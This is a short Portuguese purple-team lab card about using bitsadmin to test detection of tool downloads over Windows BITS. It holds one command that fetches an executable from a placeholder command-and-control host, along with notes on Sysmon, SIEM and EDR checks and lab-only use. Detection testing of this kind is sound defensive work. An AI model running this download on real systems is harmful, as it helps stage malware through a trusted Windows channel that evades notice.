bitsadmin transfer

bitsadmin /transfer job http://<c2>/f.exe C:\Temp\f.exe

Descarrega um ficheiro com bitsadmin no host de testes, validando a deteção da transferência de ferramentas por BITS.

Executa-o no laboratório de purple team quando quiseres validar a deteção da transferência por BITS: bitsadmin /transfer descarrega o payload com o serviço legítimo do Windows (BITS, usado pelo Windows Update) e a equipa verifica o que foi detetado — Sysmon Event 1 (bitsadmin), as regras do SIEM (BITS a descarregar), o EDR. É a validação da transferência pelo canal legítimo: o tráfego de BITS confunde-se com as atualizações. No purple teaming, bitsadmin valida a camada de deteção da transferência por BITS.

Não o executes fora do laboratório: a descarga gera o tráfego real — o host de testes é o local. E atenção: bitsadmin é legítimo e BITS é usado para as atualizações — a deteção baseia-se no contexto (bitsadmin a partir da linha de comandos com um destino não habitual, o processo pai, o volume); a validação mede essas camadas. A variante de PowerShell (Start-BitsTransfer) é validada à parte. A limpeza do ficheiro descarregado no final.